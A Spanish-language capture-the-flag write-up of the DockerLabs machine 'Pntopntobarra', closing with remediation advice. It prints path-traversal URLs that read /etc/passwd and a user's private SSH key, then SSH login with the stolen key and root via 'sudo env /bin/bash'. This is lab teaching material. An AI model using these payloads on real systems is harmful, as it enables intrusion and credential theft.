Ir al contenido

Pntopntobarra

Este documento presenta la resolución completa de la máquina Pntopntobarra, desarrollada por maciiii___ para la plataforma DockerLabs y clasificada como fácil.

El objetivo es exponer un análisis claro, ordenado y técnicamente sustentado que abarque:

  • Identificación de vectores de ataque.
  • Revisión de archivos sensibles y recursos expuestos.
  • Obtención de acceso inicial mediante un fallo de inclusión de archivos.
  • Escalada de privilegios hasta la obtención de permisos root.

La metodología se divide en tres etapas principales:

  1. Reconocimiento: identificación de servicios expuestos y exploración del contenido accesible.
  2. Explotación: validación del LFI, extracción de credenciales y acceso inicial.
  3. Escalada de privilegios: abuso de permisos sudo para ejecutar comandos con privilegios de administrador.

Todas las pruebas se llevaron a cabo en el entorno aislado ofrecido por DockerLabs.


AtributoValor
NombrePntopntobarra
Autormaciiii___
DificultadFácil
Fecha19/08/2024
PlataformaDockerLabs

Se descomprime la máquina proporcionada:

Ventana de terminal
unzip "Pntopntobarra.zip"

Posteriormente, se inicia el contenedor:

Ventana de terminal
sudo bash auto_deploy.sh "Pntopntobarra.tar"

El script devuelve la IP interna, que será utilizada durante toda la auditoría.

IP asignada


Para mantener un flujo ordenado se crea una estructura de directorios:

Ventana de terminal
mkdir -p Pntopntobarra/{content,exploits,nmap,gobuster,scripts}
cd Pntopntobarra

Se realiza un escaneo TCP completo:

Ventana de terminal
nmap -p- --open -sS --min-rate 5000 -vvv -n 172.18.0.2 -oG allPorts
extractPorts allPorts

Puertos detectados:

  • 22/tcp — SSH
  • 80/tcp — HTTP

Puertos abiertos


Se enumeran los directorios accesibles mediante gobuster:

Ventana de terminal
gobuster dir \
-u http://172.18.0.2/ \
-w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt \
-x php,html,txt,js \
-t 200

gobuster scan

El escaneo únicamente detecta el archivo index.

index data

La página muestra un aviso relacionado con un supuesto virus y dos botones interactivos. Uno de ellos dirige a una sección con ejemplos de computadoras infectadas:

pcs infectadas

En este punto se observa un error al cargar imágenes, lo que sugiere la posible manipulación de rutas internas para su inclusión.


A partir del fallo en la carga de imágenes, se prueba un posible Local File Inclusion (LFI) modificando el parámetro images:

http://172.17.0.2/ejemplos.php?images=./ejemplo1.png

Para confirmar la vulnerabilidad se intenta leer el archivo /etc/passwd:

http://172.17.0.2/ejemplos.php?images=../../../etc/passwd

content of passwd

La lectura es exitosa y revela el usuario nico. Explorando su directorio personal es posible obtener una clave privada SSH:

http://172.17.0.2/ejemplos.php?images=../../../home/nico/.ssh/id_rsa

rsa contents

Se guarda la clave y se asignan permisos adecuados:

Ventana de terminal
chmod 600 id_rsa
ssh -i id_rsa nico@172.17.0.2

Se obtiene acceso al sistema:

ssh access


Se revisan los permisos sudo:

sudo -l

El usuario nico puede ejecutar env con privilegios de administrador. Esto permite elevar privilegios mediante:

Ventana de terminal
sudo env /bin/bash

Acceso root obtenido:

Root access


  • Falta de validación en parámetros utilizados para incluir archivos, permitiendo LFI.
  • Almacenamiento inseguro de claves privadas SSH en directorios accesibles mediante traversal.
  • Configuración incorrecta de sudo, permitiendo a un usuario sin privilegios ejecutar env como root.

  • Implementar sanitización estricta en parámetros utilizados para cargar archivos.
  • Evitar exponer rutas internas directamente en aplicaciones web.
  • Eliminar claves privadas del sistema o limitar fuertemente sus permisos.
  • Restringir comandos ejecutables mediante sudo y aplicar el principio de mínimo privilegio.